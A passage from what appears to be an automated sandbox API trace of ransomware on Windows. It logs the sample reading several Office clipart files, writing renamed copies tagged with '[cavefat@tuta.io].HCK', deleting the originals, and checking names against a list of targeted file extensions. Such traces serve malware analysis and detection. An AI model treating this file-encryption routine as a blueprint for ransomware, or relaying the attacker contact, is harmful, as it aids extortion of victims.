(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 1 [0242.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.624] lstrlenW (lpString=".doc") returned 4 [0242.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.624] lstrlenW (lpString=".docx") returned 5 [0242.624] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.624] lstrlenW (lpString=".pdf") returned 4 [0242.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.624] lstrlenW (lpString=".xls") returned 4 [0242.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.624] lstrlenW (lpString=".xlsx") returned 5 [0242.624] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.624] lstrlenW (lpString=".ppt") returned 4 [0242.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".zip") returned 4 [0242.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.625] lstrlenW (lpString=".rar") returned 4 [0242.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString=".bz2") returned 4 [0242.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString=".7z") returned 3 [0242.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".dbf") returned 4 [0242.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".1cd") returned 4 [0242.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".jpg") returned 4 [0242.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".doc") returned 4 [0242.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString=".docx") returned 5 [0242.625] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.625] lstrlenW (lpString=".pdf") returned 4 [0242.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString=".xls") returned 4 [0242.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.625] lstrlenW (lpString=".xlsx") returned 5 [0242.625] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.625] lstrlenW (lpString=".ppt") returned 4 [0242.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".zip") returned 4 [0242.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.625] lstrlenW (lpString=".rar") returned 4 [0242.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString=".bz2") returned 4 [0242.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString=".7z") returned 3 [0242.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".dbf") returned 4 [0242.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".1cd") returned 4 [0242.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0242.625] lstrlenW (lpString=".jpg") returned 4 [0242.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.626] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.626] lstrlenW (lpString="J0185806.WMF") returned 12 [0242.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.725] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=30522) returned 1 [0242.725] CloseHandle (hObject=0x558) returned 1 [0242.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 0x220 [0242.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.734] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.734] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.735] GetLastError () returned 0x0 [0242.735] ReadFile (in: hFile=0x558, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x773a, lpOverlapped=0x0) returned 1 [0242.737] WriteFile (in: hFile=0x340, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7740, lpOverlapped=0x0) returned 1 [0242.738] ReadFile (in: hFile=0x558, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.738] WriteFile (in: hFile=0x340, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.738] SetEndOfFile (hFile=0x340) returned 1 [0242.738] CloseHandle (hObject=0x340) returned 1 [0242.738] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.738] SetEndOfFile (hFile=0x558) returned 1 [0242.740] CloseHandle (hObject=0x558) returned 1 [0242.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0242.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.741] lstrlenW (lpString=".doc") returned 4 [0242.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.741] lstrlenW (lpString=".docx") returned 5 [0242.741] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.741] lstrlenW (lpString=".pdf") returned 4 [0242.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.741] lstrlenW (lpString=".xls") returned 4 [0242.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.742] lstrlenW (lpString=".xlsx") returned 5 [0242.742] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.742] lstrlenW (lpString=".ppt") returned 4 [0242.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".zip") returned 4 [0242.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.742] lstrlenW (lpString=".rar") returned 4 [0242.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".bz2") returned 4 [0242.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".7z") returned 3 [0242.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".dbf") returned 4 [0242.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".1cd") returned 4 [0242.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".jpg") returned 4 [0242.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".doc") returned 4 [0242.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".docx") returned 5 [0242.742] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.742] lstrlenW (lpString=".pdf") returned 4 [0242.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".xls") returned 4 [0242.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.742] lstrlenW (lpString=".xlsx") returned 5 [0242.742] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.742] lstrlenW (lpString=".ppt") returned 4 [0242.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".zip") returned 4 [0242.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.742] lstrlenW (lpString=".rar") returned 4 [0242.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".bz2") returned 4 [0242.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".7z") returned 3 [0242.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".dbf") returned 4 [0242.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.742] lstrlenW (lpString=".1cd") returned 4 [0242.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0242.743] lstrlenW (lpString=".jpg") returned 4 [0242.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.743] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.743] lstrlenW (lpString="J0185834.WMF") returned 12 [0242.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.744] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=8578) returned 1 [0242.744] CloseHandle (hObject=0x558) returned 1 [0242.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 0x220 [0242.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.745] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.745] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.746] GetLastError () returned 0x0 [0242.746] ReadFile (in: hFile=0x558, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2182, lpOverlapped=0x0) returned 1 [0242.747] WriteFile (in: hFile=0x340, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2190, lpOverlapped=0x0) returned 1 [0242.748] ReadFile (in: hFile=0x558, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.748] WriteFile (in: hFile=0x340, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.748] SetEndOfFile (hFile=0x340) returned 1 [0242.748] CloseHandle (hObject=0x340) returned 1 [0242.748] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.748] SetEndOfFile (hFile=0x558) returned 1 [0242.750] CloseHandle (hObject=0x558) returned 1 [0242.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0242.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.751] lstrlenW (lpString=".doc") returned 4 [0242.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.751] lstrlenW (lpString=".docx") returned 5 [0242.751] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0242.751] lstrlenW (lpString=".pdf") returned 4 [0242.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.751] lstrlenW (lpString=".xls") returned 4 [0242.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.751] lstrlenW (lpString=".xlsx") returned 5 [0242.751] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0242.751] lstrlenW (lpString=".ppt") returned 4 [0242.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.751] lstrlenW (lpString=".zip") returned 4 [0242.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.751] lstrlenW (lpString=".rar") returned 4 [0242.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.751] lstrlenW (lpString=".bz2") returned 4 [0242.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.751] lstrlenW (lpString=".7z") returned 3 [0242.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.751] lstrlenW (lpString=".dbf") returned 4 [0242.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".1cd") returned 4 [0242.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".jpg") returned 4 [0242.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".doc") returned 4 [0242.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString=".docx") returned 5 [0242.752] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0242.752] lstrlenW (lpString=".pdf") returned 4 [0242.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString=".xls") returned 4 [0242.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.752] lstrlenW (lpString=".xlsx") returned 5 [0242.752] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0242.752] lstrlenW (lpString=".ppt") returned 4 [0242.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".zip") returned 4 [0242.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.752] lstrlenW (lpString=".rar") returned 4 [0242.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString=".bz2") returned 4 [0242.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString=".7z") returned 3 [0242.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".dbf") returned 4 [0242.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".1cd") returned 4 [0242.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0242.752] lstrlenW (lpString=".jpg") returned 4 [0242.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.752] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.752] lstrlenW (lpString="J0185842.WMF") returned 12 [0242.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.753] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14308) returned 1 [0242.753] CloseHandle (hObject=0x558) returned 1 [0242.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 0x220 [0242.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.754] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.754] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.755] GetLastError () returned 0x0 [0242.755] ReadFile (in: hFile=0x558, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x37e4, lpOverlapped=0x0) returned 1 [0242.757] WriteFile (in: hFile=0x340, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x37f0, lpOverlapped=0x0) returned 1 [0242.757] ReadFile (in: hFile=0x558, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.757] WriteFile (in: hFile=0x340, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.757] SetEndOfFile (hFile=0x340) returned 1 [0242.758] CloseHandle (hObject=0x340) returned 1 [0242.758] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.758] SetEndOfFile (hFile=0x558) returned 1 [0242.760] CloseHandle (hObject=0x558) returned 1 [0242.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0242.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.761] lstrlenW (lpString=".doc") returned 4 [0242.761] 